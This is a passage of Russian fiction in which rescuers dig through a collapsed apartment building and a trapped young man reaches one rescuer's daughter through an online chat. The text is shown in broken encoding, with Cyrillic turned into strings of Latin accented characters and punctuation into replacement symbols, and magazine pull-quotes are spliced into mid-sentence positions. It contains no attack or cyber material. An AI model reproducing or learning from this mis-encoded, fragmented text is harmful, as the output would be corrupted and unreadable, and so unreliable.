îòìåòêå äîòÿíóëàñü òà ñòðåëà êðàíà, ÷òî íå ñìîãëà ïîìî÷ü
Òåïëÿêîâó, ê íåáó àêêóðàòíî âçìûëà ñòàâøàÿ ñëîâíî êàð- »
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Ðàáîòà ïî ñïàñåíèþ øëà óæå
ïîëíûì õîäîì; âíèçó

ðàçâåðíóëñÿ øòàá 
áðèãàäû Ì×Ñ.



òîííîé ïëèòà, ëó÷ ïðîæåêòîðà ïðîâîäèë åå äî ñàìîãî ñîï-
ðèêîñíîâåíèÿ ñ çåìëåé â ïàðå äåñÿòêîâ ìåòðîâ â ñòîðîíå.
Ôîíàðèêè íà øëåìàõ îñâåùàëè ñïàñàòåëÿì òî, ÷òî òâîðèò-
ñÿ òàì, âíèçó, â êëóáÿùåéñÿ ïûëè è ìðàêå; îäèí èç ñïàñàòå-
ëåé ÷òî-òî óâèäåë, êðèêíóë îñòàëüíûì. Ïîòîì îí èñ÷åç â
íåâèäèìîì îòñþäà òîííåëå, îáðàçîâàííîì îáëîìêàìè äî-
ìà; ÷åðåç íåêîòîðîå âðåìÿ ïîÿâèëñÿ ñíîâà, ñ òðóäîì âûêà-
ðàáêàëñÿ íàðóæó, ïðèæàë ëàðèíãîôîíû ê øåå ïîïëîòíåå è
÷òî-òî ñîîáùèë â øòàá, ïîñëå ÷åãî îíè ñ íàïàðíèêîì âçÿ-
ëèñü çà âåðåâêó è ïîòÿíóëè. Ïðèìåðíî ïàðó ìèíóò ñïóñòÿ �
Òåïëÿêîâ ê òîìó âðåìåíè çàêàí÷èâàë ôèêñèðîâàòü ìóæ÷è-
íó è ïðîâåðÿë óçëû íà íàäåæíîñòü � íàä ïîâåðõíîñòüþ çà-
âàëà ïîêàçàëàñü æåíñêàÿ ãîëîâà, ñêëîíåííàÿ íàáîê. Äëèí-
íûå âîëîñû áûëè â áåñïîðÿäêå ðàçáðîñàíû ïî ëèöó; ñïàñà-
òåëè, ïîäñóíóâ ðóêè åé ïîä ìûøêè, âûòàùèëè æåíùèíó è
àêêóðàòíî óëîæèëè íà ïîäãîòîâëåííûé ùèò. ×òî-òî ó íèõ
òàì íå ëàäèëîñü, îíè ðàçîðâàëè íà æåíùèíå äîìàøíèé õà-
ëàò, îáíàæèâ îêðîâàâëåííîå òåëî, îäèí èç ñïàñàòåëåé íà-
ëîæèë ïîâÿçêó íà ïëå÷î, ïîñëå ÷åãî, âçÿâ ùèò, îíè ïðèíÿ-
ëèñü ñïóñêàòüñÿ ïî ñêëîíó çàâàëà, íà êîòîðîì óæå ñâåòÿ-
ùèìèñÿ âåøêàìè áûëà îáîçíà÷åíà òðîïà äëÿ áåçîïàñíîãî
ïðîõîäà. ×åðåç äåñÿòü ìèíóò æåíùèíà íà «íåîòëîæêå» áû-
ëà îòïðàâëåíà â áîëüíèöó.

Òåïëÿêîâ îòìåòèë ïðî ñåáÿ óñïåõ òîâàðèùåé, êðèêíóë
Àíäðåþ, ÷òîáû òîò ïîäñòðàõîâàë âíèçó; ïîñëå ýòîãî ïîäòî-
ëêíóë ùèò ê êðàþ ïëèòû, äîæäàëñÿ, êîãäà òîò ñâîèì âåñîì
ïðèìåò ïîëóâåðòèêàëüíîå ïîëîæåíèå è ïðèíÿëñÿ îñòîðîæ-
íî îòïóñêàòü âåðåâêó. Ùèò ïîñòåïåííî îïóñêàëñÿ, Àíäðåé
ñóìåë êîí÷èêàìè ïàëüöåâ äîñòàòü äî íåãî è íàïðàâèòü åãî
äâèæåíèå.

� Ïðèíÿë! � êðèêíóë îí íàâåðõ. � Ñïóñêàéñÿ, íàäî òîðî-
ïèòüñÿ!

Òåïëÿêîâ âûïðÿìèëñÿ íà ñâîåì ìàëåíüêîì ïÿòà÷êå è
îñìîòðåëñÿ åùå ðàç, ïûòàÿñü óâèäåòü òî, ÷òî íå áûëî âèä-
íî äðóãèì ñíèçó.

Íè÷åãî îñîáåííîãî åìó ðàçãëÿäåòü íå óäàëîñü: ãîðû áå-
òîííûõ îáëîìêîâ, ïîêîðåæåííàÿ ìåáåëü, íåñêîëüêî ëåñò-
íè÷íûõ ïðîëåòîâ, óöåëåâøèõ ïðè ïàäåíèè; îòîâñþäó ñëû-
øàëèñü êðèêè è ïëà÷, ëþäè ðâàëèñü íà ìåñòî ãèáåëè èõ
ðîäñòâåííèêîâ ãîòîâûå ãîëûìè ðóêàìè ðàçáèðàòü çàâàëû.
Ìèëèöèÿ îòòàñêèâàëà èõ â ñòîðîíó, ìåäèêè íàïðàâî è íàëå-
âî êîëîëè óñïîêàèâàþùèå ëåêàðñòâà. Òåïëÿêîâ âçäîõíóë è
ñïóñòèëñÿ âíèç, âíèìàòåëüíî ãëÿäÿ ïîä íîãè.

Â íàóøíèêàõ ñëûøàëèñü ïåðåãîâîðû øòàáà è ðóêîâîäè-
òåëåé ãðóïï, ðàáîòàþùèõ íà ìåñòå. Òåïëÿêîâ óçíàë, ÷òî
ñïàñåíî ëèøü äåñÿòü ÷åëîâåê, äà è òî ëèøü òå, êòî îêàçàë-
ñÿ ïðàêòè÷åñêè íà ñàìîì âåðõó çàâàëà. Ïÿòü èëè øåñòü ÷å-
ëîâåê ïåðåãîâàðèâàþòñÿ èç-ïîä ïëèò ñî ñïàñàòåëÿìè, íî
ïîäîáðàòüñÿ ê íèì íå ïðåäñòàâëÿåòñÿ âîçìîæíûì. À íà
äåòñêîé ïëîùàäêå ëåæàëè óæå ñåìü òðóïîâ�

� Àíäðåé, � ïîçâàë îí íàïàðíèêà, � èäåì ê æåëòîìó
ôëàæêó, òóäà, ãäå ñîáàêà áåñèòñÿ!

Îíè ïðèáëèçèëèñü ê âèçæàùåé îâ÷àðêå, îòòåñíèëè åå â
ñòîðîíó, ÷åìó îíà ñèëüíî ñîïðîòèâëÿëàñü, ÷òî äàæå ïðèø-
ëîñü ïîçâàòü ñîáàêîâîäà è ïîïðîñèòü óáðàòü æèâîòíîå.
Èç-ïîä ðàçâàëèí ñëûøàëñÿ ïëà÷ òî ëè ðåáåíêà, òî ëè ìîëî-
äîé æåíùèíû. Ñïàñàòåëè ïåðåãëÿíóëèñü è ïðèíÿëèñü ðàñ-
òàñêèâàòü ðóêàìè òî, ÷òî ìîæíî áûëî ïîäíÿòü ñèëàìè äâóõ
÷åëîâåê. Êðàí, âûçâàííûé èìè, óæå òÿíóë ê íèì ñâîþ ñòðå-
ëó�

********

� Ìåíÿ íà ñàìîì äåëå çîâóò Äèìà, � íàïå÷àòàë îí. � Â
ìîåì äîìå òîëüêî ÷òî ïðîèçîøåë âçðûâ.

� Íå ìîæåò áûòü,� áûë îòâåò. � Òû òàê øóòèøü?

� Êàêèå òóò øóòêè? � ïå÷àòàë Äèìêà. � Âîçëå ïîäúåçäà
âçîðâàëñÿ ãðóçîâèê, ÿ ñàì âèäåë�

� Êàê æå òû ñàì âèäåë? Äîì æå âçîðâàëñÿ. À òû êàê
óöåëåë? Õâàòèò âðàòü, à òî ÿ ñåé÷àñ îòêëþ÷óñü!

� Íåò, íå îòêëþ÷àéñÿ! � åäâà íå çàêðè÷àë ó êîìïüþòåðà
Äèìà. � Òû âåäü íå âðåøü, ÷òî æèâåøü â Ìîñêâå, ïðàâäà?

� Ïðàâäà.
� Ïîçâîíè â ìèëèöèþ èëè åùå êóäà-íèáóäü! Ïîçâîíè â

Ì×Ñ!
� Ïîçâîíþ � è ÷òî ÿ èì ñêàæó? Êàê ÿ ïðåäñòàâëþñü?

Êàê ÷åëîâåê, êîòîðîìó â èíòåðíåòå êòî-òî ñêàçàë, ÷òî åãî
äîì ðóõíóë òîëüêî ÷òî?

� Íó�
� Âîò è íó. Êòî ìíå ïîâåðèò? Äà è ÿ òåáå íå î÷åíü-òî âå-

ðþ.
� ß íå çíàþ, êàê ìíå óáåäèòü òåáÿ. ß æèâó íà øåñòîì

ýòàæå ýòîãî äîìà. Âîêðóã âî âðåìÿ âçðûâà âñå ðóõíóëî, ÿ
óöåëåë ÷óäîì íà ìàëåíüêîì êóñêå ïîëà, ðÿäîì ñ êîìïüþòå-
ðîì. Ñîåäèíåíèå, êîòîðîå áûëî óñòàíîâëåíî ñ òîáîé, íå
îáîðâàëîñü.

� Ôàíòàñòèêà. Íå î÷åíü-òî âåðèòñÿ�
� ß ñàì ñ òðóäîì âåðþ â ïðîèñøåäøåå. Ó ìåíÿ êàêèå-òî

ïðîáëåìû ñî ñïèíîé, î÷åíü ñèëüíî áîëèò. Áîþñü, ÷òî ìîãó
â ëþáîé ìîìåíò îòêëþ÷èòüñÿ. ×åì áûñòðåå òû ïîçâîíèøü,
òåì ëó÷øå.

� Ãîâîðè àäðåñ. Ó ìåíÿ åñòü âîçìîæíîñòü ïðîâåðèòü,
âðåøü òû èëè íåò.

� Êàê?
� Àäðåñ!
Äèìêà íàïå÷àòàë. Íàñòóïèëà ïàóçà. «Êàê îíà ñîáèðàåò-

ñÿ ïðîâåðèòü ìîè äàííûå? � óäèâèëñÿ îí ïðî ñåáÿ. � Âåäü
ìîæíî òîëüêî ïîâåðèòü â íèõ, è âñå. È îíà íå ìîæåò íèêó-
äà ïîçâîíèòü, ïîòîìó ÷òî òåëåôîí çàíÿò ñîåäèíåíèåì ñî
ìíîé. Õîòÿ ìàëî ëè êàêàÿ ó íåå äîìà òåõíèêà�»

� Òû åùå òàì? � ïîÿâèëñÿ âîïðîñ.
� Ñìåøíî. Ìíå îòñþäà äåòüñÿ íåêóäà. Ìåòð íà ìåòð ìî-

ãèëêà.
� Òàê êàêîé ýòàæ?
� Øåñòîé.
� Ãäå òû íàõîäèøüñÿ â êîìíàòå?
Äèìêà âñïîìíèë ïëàíèðîâêó êâàðòèðû è íàáðàë:
� Ïðàâûé äàëüíèé óãîë, åñëè ñòîÿòü ëèöîì ê äîìó.
� Íîìåð êâàðòèðû?
� 19.
Ñíîâà âîçíèêëà ïàóçà. Ó Äèìû ñëîæèëîñü âïå÷àòëåíèå,

÷òî Äàíà ïî òó ñòîðîíó îáùàåòñÿ ñ êåì-òî.
Ñíîâà çàáîëåëà ñïèíà, íåñèëüíî, èçäàëåêà îòêóäà-òî

ñòàëè ïðèõîäèòü èìïóëüñû áîëè. Íîã îí óæå äàâíî íå
÷óâñòâîâàë; ÷åðòîâñêè õîòåëîñü ñåñòü â êðåñëå ïîóäîáíåå,
à íå âèñåòü â íåì íà áîêó, íî åãî ñàðêîôàã íå ïîçâîëÿë ïî-
øåâåëèòüñÿ òåëó.

Íàâåðíîå, îí ïîòåðÿë ñîçíàíèå íà íåñêîëüêî ìèíóò, ïî-
òîìó ÷òî, îòêðûâ ãëàçà, îí óâèäåë ñðàçó íåñêîëüêî âîïðî-
ñîâ: «Àó? Òû ãäå?», ïðèøåäøèõ îäèí çà äðóãèì.

� ß âñå åùå çäåñü,� îòâåòèë îí Äàíå. � Òû ÷òî-íèáóäü
ïðåäïðèíÿëà?

� Äà. Òû íå âðåøü. ß ïåðåæèâàþ çà òåáÿ, Äèìà. Òåáå
ïîìîãóò, � ïðî÷èòàë îí îòâåò.

� Êîãäà?
� Íå çíàþ. Ñêîðî. Æäè.
È ñïóñòÿ ìèíóòó ìîë÷àíèÿ:
� È ìû ñ òîáîé âñòðåòèìñÿ. ß õî÷ó òåáÿ óâèäåòü. Íå ïðî-

òèâ?
� Íåò. Ñïàñèáî òåáå, Äàíà. Êàê òåáå ýòî óäàñòñÿ?
� ß ñàìà ðåøó êàê. Òû òàì äåðæèñü, Äèìêà. Æèçíü ïðî-

äîëæàåòñÿ. Ìíå òîæå èíîãäà áûâàåò ïàðøèâî � êîíå÷íî, íå
òàê, êàê òåáå ñåé÷àñ, íî âñå-òàêè. Íå ñäàâàéñÿ.

� Íå ñäàìñÿ. Âîò òîëüêî ïèòü õî÷åòñÿ óæàñ!!! Òóò âñå â
ïûëè, òàêîå ÷óâñòâî, áóäòî ÿ åå íàåëñÿ.

Îí îòïðàâèë ïîñëåäíåå ñîîáùåíèå, çàäóìàëñÿ íà ìãíî-
âåíüå è âäðóã ïîíÿë, ÷òî ÷òî-òî íå òàê. Ýêðàí çàìåðöàë, ïî-
ãàñ, íà ìãíîâåíüå âñïûõíóë âíîâü, ÷òîáû âûêëþ÷èòüñÿ
íàâñåãäà. Ñòàëî òåìíî è òèõî, ïåðåñòàë øóìåòü êóëåð ïîä
ñòîëîì.
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×åðòîâñêè õîòåëîñü ñåñòü â
êðåñëå ïîóäîáíåå, à íå âèñåòü â
íåì íà áîêó, íî åãî ñàðêîôàã íå
ïîçâîëÿë ïîøåâåëèòüñÿ òåëó.



Ñíàðóæè äîíîñèëèñü øóì, Äèìêà ðàçáèðàë ðû÷àíèå
òðàêòîðîâ, âîé ñèðåí, ÷üè-òî êðèêè. Âñå ýòî íå ñêëàäûâà-
ëîñü â îáùóþ êàðòèíó, êàçàëîñü êàêèì-òî îòðûâî÷íûì, íå-
ðåàëüíûì, ñëîâíî çâóêîâàÿ äîðîæêà ê êàêîìó-òî íåçíàêî-
ìîìó ôèëüìó.

À ïîòîì îí ïîòåðÿë ñîçíàíèå.

********

Ýòî áûë ðåáåíîê. Îíè âûòàùèëè åãî ìèíóò çà äâàäöàòü,
à åùå ÷åðåç ïÿòíàäöàòü ìèíóò èõ îòîçâàëè äëÿ ðåàáèëèòà-
öèè. Îíè ñ Àíäðååì ñïóñòèëèñü ñ çàâàëà ê øòàáó â ðàñïî-
ðÿæåíèå ìåäèêîâ. Ñî çäîðîâüåì ó íèõ ïîñëå ïàðû ÷àñîâ
ðàáîòû áûëî âñå â ïîðÿäêå, íèêòî íå ïîëó÷èë òðàâìó, ïîý-
òîìó èõ ïðîñòî îòïðàâèëè â ïîõîäíóþ ñòîëîâóþ.

Îíè âîøëè â âàãîí÷èê, ïðèñåëè çà ñòîë è ìîë÷à ïðèíÿ-
ëèñü åñòü. Ïèùà êàçàëàñü èì àáñîëþòíî áåçâêóñíîé; êàæ-
äûé èç íèõ âèäåë ñêâîçü ñòåíû ìàëåíüêîå êëàäáèùå íà
äåòñêîé ïëîùàäêå. Èçðåäêà îíè ïîãëÿäûâàëè äðóã íà äðó-
ãà, èçáåãàÿ ñìîòðåòü â ãëàçà; õîòåëîñü ìîë÷àòü è íèêàê íå
êîììåíòèðîâàòü ïðîèñõîäÿùåå. Ýìîöèè çäåñü � òàáó.

Êîãäà îíè çàêàí÷èâàëè óæèí, ó Òåïëÿêîâà çàçâîíèë ñî-
òîâûé. Îí íåõîòÿ ïîëåç â êàðìàí, ïðîêëèíàÿ ñåáÿ çà òî, ÷òî
íå îñòàâèë òåëåôîí äîìà. Íà îïðåäåëèòåëå ãîðåë íîìåð
åãî äî÷åðè.

� Èíòåðåñíî,� õìûêíóë îí, â äóøå ðàäóÿñü çâîíêó. �
Ñëóøàþ, Äàøåíüêà� Äà, ÿ ðàáîòàþ, íåñïîêîéíî â ãîðîäå�
Ãäå? À òû îòêóäà çíàåøü, ÷òî ÿ çäåñü? ß äóìàë, â íîâîñòÿõ
åùå íå óñïåëè ñîîáùèòü� Êòî ñêàçàë? Êòî?

Îí óäèâëåííî âçãëÿíóë íà Àíäðåÿ. Òîò çàèíòåðåñîâàí-
íî ñìîòðåë íà íàïàðíèêà, îæèäàÿ îêîí÷àíèÿ ðàçãîâîðà.

� Ïàðåíü ïî èìåíè Äèìà? Íó� Äà� Øåñòîé ýòàæ? Äà
òóò ðóõíóëî âñå, íà÷èíàÿ ñ äåâÿòîãî! Êâàðòèðà íîìåð äå-
âÿòíàäöàòü? Òî÷íî øåñòîé? Íó, Äàøêà, åñëè ýòî âñå
âðàíüå, íå çíàþ, ÷òî ñ òîáîé ñäåëàþ! Âñå, ïîêà.

Àíäðåé íåäîóìåííî ïîäíÿë áðîâè.
� Øåñòîé ýòàæ, êâàðòèðà íîìåð äåâÿòíàäöàòü.
� Ýòî ÿ ñëûøàë, � ïðîèçíåñ Àíäðåé. � È ÷òî æå òàì, íà

ýòîì øåñòîì ýòàæå?
� Ïàðåíü. Äèìà. Æèâîé,� îò÷åêàíèë Òåïëÿêîâ. � È äî

ñèõ ïîð ñèäèò çà êîìïüþòåðîì, îáùàÿñü ñ ìîåé äî÷åðüþ
ïî èíòåðíåòó. Ñëóøàé, çà êîãî îíà ìåíÿ ïðèíèìàåò? È ýòîò
âèðòóàëüíûé Äèìà � îí âîîáùå ïðåäñòàâëÿåò, ÷òî òóò
ïðîñòî íèêòî íå ìîæåò óöåëåòü! À òå, êîãî ìû íàõîäèì æè-
âûìè, îòìå÷åíû êàêîé-òî àíãåëüñêîé ïå÷àòüþ, èáî âûæèòü
çäåñü ïðîñòî íåâîçìîæíî!

Îí âûøåë èç âàãîí÷èêà íà óëèöó è ïîäíÿë ãëàçà íà-
âåðõ, òóäà, ãäå çèÿë ïðîâàë ìåæäó äâóìÿ ñòîÿùèìè ÷àñòÿ-
ìè äîìà. Ëó÷è ïðîæåêòîðîâ, âçÿâ äîì â ïåðåêðåñòèå, óæå
íå âûïóñêàëè åãî èç ñâîèõ öåïêèõ îáúÿòèé. Òåïëÿêîâ ïðèã-
ëÿäåëñÿ ê ñòåíàì, îòñ÷èòàë øåñòü ýòàæåé è ïðèíÿëñÿ âíè-
ìàòåëüíî ðàçãëÿäûâàòü òî, ÷òî êîãäà-òî ìîãëî áûòü êâàðòè-
ðîé ïîä íîìåðîì äåâÿòíàäöàòü.

Âèäíî áûëî íå î÷åíü õîðîøî, ïðèøëà ìûñëü íàéòè áè-
íîêëü, íî Òåïëÿêîâ ðåøèë ïðîâåðèòü èíôîðìàöèþ èíà÷å.
Îí êèâíóë Àíäðåþ, è îíè íàïðàâèëèñü ê çàâàëó, ïðåäâàðè-
òåëüíî îòìåòèâøèñü ó äèñïåò÷åðà øòàáà.

Ñíà÷àëà Òåïëÿêîâ ðåøèë îñìîòðåòü âñå ñíèçó, ÷òîáû
ïîíÿòü, ðåàëüíî ëè êîìó-òî ñåé÷àñ îñòàòüñÿ íà óðîâíå øåñ-
òîãî ýòàæà. Êîãäà îíè ñ Àíäðååì ïîäîáðàëèñü ïîáëèæå ÷å-
ðåç ðàçâàëèíû äîìà è âñòàëè íà èõ âåðøèíå, Òåïëÿêîâ ïî-
íÿë, ÷òî äî÷ü íå îáìàíóëè. Òàì îïðåäåëåííî ìîã êòî-òî íà-
õîäèòüñÿ. Îãðûçîê ïåðåêðûòèÿ, ìåòðà äâà íà ïîëòîðà â ïî-
ïåðå÷íèêå, ìîã ïðåäîñòàâèòü óáåæèùå äëÿ îäíîãî ÷åëîâå-
êà.

� Î÷åíü èíòåðåñíî, � çàäóì÷èâî ñêàçàë Àíäðåé. � Åñëè
áû íå òâîÿ äî÷ü� Êîìó ïðèäåò â ãîëîâó ïîäíÿòü ãëàçà ê
íåáó è ðàññóæäàòü, íå çàâèñ ëè êòî-òî ìåæäó ýòàæàìè?

� Ñëó÷àéíîñòü� � ïðîòÿíóë Òåïëÿêîâ. � Êàêîâà âåðîÿò-
íîñòü òîãî, ÷òî ýòîò ïàðåíü ìîã îáùàòüñÿ ñ ìîåé äî÷åðüþ
÷åðåç èíòåðíåò ïîñëå âçðûâà?

� Íóëåâàÿ,� îòâåòèë Àíäðåé.

� Ýòî åäèíñòâåííûé àðãóìåíò â ïîëüçó òîãî, ÷òî âñå ýòî
âðàíüå ÷èñòîé âîäû. Âñå îñòàëüíîå çà òî, ÷òî ýòîò ïàðåíü
äåéñòâèòåëüíî òàì. À âîò æèâ ëè?

Òåëåôîí çàçâîíèë âíîâü. Òåïëÿêîâ, íå ãëÿäÿ, íàæàë
êíîïêó.

� Äà, Äàøà� ×òî? ×åðò�
Îí âûêëþ÷èë òåëåôîí, ñïðÿòàë åãî âî âíóòðåííèé êàð-

ìàí, ïîñìîòðåë íà Àíäðåÿ è ñêàçàë:
� Îí çàìîë÷àë, à ïîòîì îòêëþ÷èëñÿ�
Íàïàðíèê ìîë÷à êèâíóë â ñòîðîíó. Òåïëÿêîâ ïîñìîòðåë

òóäà è óâèäåë, êàê ýêñêàâàòîð, ðàçãðåáàÿ êðàé çàâàëà, âû-
âîðîòèë èç çåìëè êó÷ó ðàçíûõ êàáåëåé, ñðåäè êîòîðûõ íà-
âåðíÿêà áûëè è òåëåôîííûå.

Òåïëÿêîâ åùå ðàç çàäðàë ãîëîâó êâåðõó.
� Äâà ïóòè, � çàäóì÷èâî ñêàçàë îí. � Ïîäíÿòüñÿ îòñþäà

ëèáî ñïóñòèòüñÿ ñ êðûøè. ×òî ñêàæåøü?
� Íó, àëüïèíèñò ó íàñ òû, � ðàçâåë ðóêàìè Àíäðåé. � ß

áóäó ñòðàõîâàòü â ëþáîì ñëó÷àå. Åñëè ñïóñòèøüñÿ ñâåðõó,
òî ïðèäåòñÿ ýâàêóèðîâàòü íà êðûøó. Òàì áû âåðòîëåò íå
ïîìåøàë, íî êòî åãî ñþäà âûçîâåò?

� Òû,� ñêàçàë Òåïëÿêîâ. � À ÿ áåðó ùèò, ïîäíèìàþñü íà-
âåðõ è äåëàþ âñå îñòàëüíîå.

� Âûòàùèøü? Ñàì? � çàñîìíåâàëñÿ Àíäðåé.
� Âûòàùó, íå áîéñÿ, � óõìûëüíóëñÿ íàïàðíèê. � È çíà-

åøü, äî÷ü ñêàçàëà, ÷òî ïðèåäåò ñþäà, ÷òîáû ïîñìîòðåòü íà
òîãî, êîãî ìû âìåñòå ñ íåé ñïàñàåì. Âñòðåòü åå; ãëàâíîå,
÷òîáû îíà òóò ïîìåíüøå âñåãî óâèäåëà� ß æå íå ìîãó åé
ïî òåëåôîíó çàïðåòèòü, à îíà ó ìåíÿ óæå âçðîñëàÿ, ñàìîñ-
òîÿòåëüíàÿ. Êîðî÷å, ïðîâåäåøü â äèñïåò÷åðñêóþ, ïóñòü
òàì ñèäèò.

� Ïîíÿë,� êèâíóë Àíäðåé è, ïðèæàâ ëàðèíãîôîíû ê
øåå, ñîîáùèë â øòàá î ïðåäñòîÿùåé îïåðàöèè íà êðûøå.

Òåïëÿêîâ, íå äîæèäàÿñü îêîí÷àíèÿ ðàçãîâîðà, íàïðà-
âèëñÿ ê áëèæàéøåìó ïîäúåçäó, äåðæà ïîä ìûøêîé ïîëè-
ðîâàííûé ôèãóðíûé ùèò äëÿ ïîñòðàäàâøèõ. Ñóäÿ ïî âñå-
ìó, ïàðíþ òàì, íàâåðõó, îí áóäåò æèçíåííî íåîáõîäèì�

********

Äèìêà îòêðûë ãëàçà. Îí îáâåë âçãëÿäîì ñâîé ìðà÷íûé
ñàðêîôàã, óâèäåë òîíêèå æåëòûå ëó÷èêè, ïðîáèâàþùèåñÿ
÷åðåç ùåëè, óãàäàë â íèõ ïðîæåêòîðíûå ëó÷è.

� Èùóò,� ïðîøåïòàë îí ïåðåñîõøèìè ãóáàìè. � Ìåíÿ
èùóò� Ñïàñèáî, Äàíêà.

È õîòÿ èñêàëè íå òîëüêî åãî, íî åìó, óñòàâøåìó è èçìó-
÷åííîìó áîëüþ, æàæäîé è ñòðàõîì, êàçàëîñü, ÷òî âñå ñèëû
â ìèðå ñåé÷àñ íàïðàâëåíû òîëüêî íà îäíî � íàéòè è ñïàñè
åãî, Äèìó.

Îí ïîñìîòðåë íà ïîãàñøèé ìîíèòîð, ïîïûòàëñÿ óâèäåòü
â íåì ñâîå îòðàæåíèå, íî íå ñìîã, ñëèøêîì óæ ìàëî áûëî
ñâåòà.

� Áëàãîñëîâè, Ãîñïîäè, àñüêó è òåõ, êòî åå ïðèäóìàë, �
øåïíóë îí ñåáå. 

Ãîëîâà çàêðóæèëàñü, îí äåðíóëñÿ, áîëü âíîâü âçîðâà-
ëà åãî òåëî; ñòîí, ãðîìêèé è æàëîáíûé, ñîðâàëñÿ ñ åãî ãóá.

À â íåñêîëüêèõ äåñÿòêàõ ìåòðîâ îò íåãî ñïàñàòåëü Òåï-
ëÿêîâ ïîäíèìàëñÿ ïî ëåñòíèöå, ïðèäåðæèâàÿ âåðåâêó, íà-
ìîòàííóþ âîêðóã ïîÿñà.

� Äåðæèñü, ïàðåíü, � øåïòàë îí â òàêò ñâîåìó äûõàíèþ. �
Äåðæèñü�

********

Ëåñòíèöà êàçàëàñü áåñêîíå÷íîé; íåñìîòðÿ íà òî ÷òî áû-
ëî âñåãî äåâÿòü ýòàæåé, Òåïëÿêîâó ïîêàçàëîñü, ÷òî èõ, ïî
ìåíüøåé ìåðå, ðàçà â äâà áîëüøå. Âðîäå áû îí è íå áûë
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Ëó÷è ïðîæåêòîðîâ, âçÿâ äîì
â ïåðåêðåñòèå, óæå íå

âûïóñêàëè åãî èç ñâîèõ
öåïêèõ îáúÿòèé.



óñòàëûì, íî ïî÷åìó-òî äûõàíèå ê ïîñëåäíåìó ýòàæó ñáè-
ëîñü îêîí÷àòåëüíî. Îí âûáðàëñÿ íà êðûøó, øâûðíóë ùèò
ñåáå ïîä íîãè è òÿæåëî çàäûøàë, íàêëîíèâøèñü è óïèðà-
ÿñü ðóêàìè â êîëåíè.

Ñâåæèé âåòåð ïðèâåë åãî â ïîðÿäîê. Îí ïðèáëèçèëñÿ ê
ïðîâàëó, îãëÿäåëñÿ â ïîèñêàõ íåïîäâèæíîé îïîðû, îñòàíî-
âèë ñâîé âçãëÿä íà ñïóòíèêîâîé àíòåííå è óêðåïèë íà íåé
âåðåâêó. Ïîòîì çàùåëêíóë íà ïîÿñå êàðàáèí è ïðèíÿëñÿ
ìåäëåííî, ïî ïàðå ìåòðîâ, ñïóñêàòüñÿ âíèç, ãëÿäÿ ñåáå ïîä
íîãè.

Òîò ó÷àñòîê ïëèòû, ÷òî áûë íàêðûò ñâåðõó îáëîìêîì ïî-
òîëêà, äîâîëüíî ñêîðî îêàçàëñÿ ó íåãî ïîä íîãàìè. Òåïëÿ-
êîâ ðàñêà÷èâàëñÿ â âîçäóõå, áîÿñü âñòàòü íà íåãî � âïîëíå
âîçìîæíî, ÷òî èìåííî ýòèì îí óñóãóáèò ñòðàäàíèÿ ïàðíÿ.

� Ýé! � êðèêíóë îí âíèç. � Ýé, òû òàì æèâîé?!
Òèøèíà. Âåòåð íåìíîãî ïîãóäåë â íàòÿíóòîé, êàê ñòðóíà,

âåðåâêå è ñòèõ. Òåïëÿêîâ çàêóñèë ãóáó, íå çíàÿ, ÷òî æå äå-
ëàòü äàëüøå. Îí åùå ÷óòü-÷óòü ñòðàâèë òðîñ, âïëîòíóþ
ïðèáëèçèëñÿ ê ïëèòå, íàêðûâøåé ÷åëîâåêà, è âíèìàòåëüíî
ðàçãëÿäåë åå, ïûòàÿñü ïîíÿòü, ÷òî æå äåðæèò åå íà ìåñòå.
Ïîòîì ïîäóìàë: äàæå åñëè åå ìîæíî ñïèõíóòü, òî êàê îíà
ïîëåòèò âíèç, òóäà, ãäå ðàññòàâëåíû ôëàæêè?

� Ýé, íàïàðíèê,� óñëûøàë îí â íàóøíèêå, � ÿ âèæó, òû
íà ìåñòå. Âåðòîëåò áóäåò, íå ïåðåæèâàé. Ïîìî÷ü?

� ×òî òàì âíèçó? Ïðÿìî ïîäî ìíîé?
� Êâàäðàò, ÷òî ïîä òîáîé, åùå ñ÷èòàåòñÿ ïîòåíöèàëüíî

îïàñíûì, íî, ñóäÿ ïî âñåìó, ëþäåé òàì íåò. Óæå íàñ÷èòàëè
äâàäöàòü äâà ÷åëîâåêà�

� Òðóïû?!

� Äà íåò, òå, êòî íå áûë äîìà â ìîìåíò âçðûâà. Îêàçû-
âàåòñÿ, åäâà ëè íå ïîëäîìà îáðåòàëîñü ñåãîäíÿ íà äà÷å.
Îíè òóò âñå òîëêóòñÿ çà îãðàæäåíèåì. ß ñòîëüêî ìàòà íè-
êîãäà â æèçíè íå ñëûøàë! Ïëþñ êî âñåìó, â ýòèõ ïîäúåçäàõ
âîñåìü êâàðòèð ïóñòóþò, ïîòîìó ÷òî äî ñèõ ïîð íèêåì íå
êóïëåíû. Ïðåäïîëàãàåòñÿ, ÷òî ïîä çàâàëîì îñòàëèñü åùå
òðè, ìàêñèìóì ïÿòü ÷åëîâåê. Ýòè ìåñòà îáîçíà÷åíû ôëàæ-
êàìè. Ïðÿìî ïîä òîáîé ôëàæêîâ íåò. Äóìàé�

Òåïëÿêîâ äóìàë íåäîëãî.
� Ïîäíèìàéñÿ. ß ïîñòàðàþñü ñïèõíóòü ïëèòó, òû ñïóñ-

òèøü ìíå ùèò è âûòàùèøü ïàðíÿ. Ïîòîðîïèñü.
È, îòäàâ ïðèêàç, îí åùå ðàç âíèìàòåëüíî ïîñìîòðåë íà

ïëèòó è ðèñêíóë�
Êîãäà ðàñêà÷àííûé îòëîìîê ïëèòû ïîëåòåë âíèç, Òåï-

ëÿêîâ óâèäåë ýòîãî ñàìîãî Äèìêó, ëåæàùåãî â íåìûñëè-
ìîé ïîçå ïîïåðåê êðåñëà; ãîëîâà åãî áûëà ñêëîíåíà íà
êîìïüþòåðíûé ñòîë. Êîìïüþòåð è ïðàâäà áûë öåë. Îäíà
èç ëàäîíåé çàêðûâàëà ìûøêó, ïàëüöû âòîðîé ëåæàëè íà
êëàâèàòóðå.

� Âèæó ïàðíÿ,� ñêàçàë îí ñàìîìó ñåáå è âñåì, êòî åãî
ñëóøàë â äàííóþ ñåêóíäó. � Äàâàé ùèò, Àíäðåé.

Ñâåðõó ñêîëüçíóë áëåñòÿùèé ïðÿìîóãîëüíèê ùèòà, ïî-
òîì ðàçäàëñÿ øóì âåðòîëåòà. Îáëàêî ïûëè âçâèëîñü ñ êðû-
øè è ðèíóëîñü âíèç, ê Òåïëÿêîâó.

Îí ñ áîëüøèì òðóäîì ñóìåë óêðåïèòüñÿ íà íåáîëüøîì
ïÿòà÷êå ïîëà è, ñî âñåé àêêóðàòíîñòüþ ïîäâåäÿ ðåìíè ïîä
